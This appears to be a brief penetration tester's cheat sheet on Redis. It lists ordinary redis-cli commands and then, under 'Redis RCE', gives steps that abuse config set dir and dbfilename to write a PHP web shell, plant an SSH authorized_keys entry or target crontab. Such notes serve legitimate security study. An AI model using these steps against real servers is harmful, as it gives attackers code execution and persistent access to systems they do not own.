xct's notes
Search…
Redis

Useful Commands

1
# connect
2
redis-cli -h <ip>
3
# authenticate in case its required
4
AUTH password (or AUTH username password)
5
# get dbs
6
info
7
# select db
8
select 0
9
# get value of key
10
get <key>
11
# get value of key in case its a list
12
lrange <key> 1 10
Copied!

Redis RCE

1
redis-cli -h <ip>
2
config set dir <web dir>
3
config set dbfilename <shell.php>
4
set test <php or key>
5
save
Copied!
In case you want to upload a ssh key to an authorized_keys file, set the key before saving the db, e.g.:
1
cat authorized_keys | redis-cli -h <ip> -x set sshkey
Copied!
Other useful locations include for example crontab.
Last modified 6mo ago
Copy link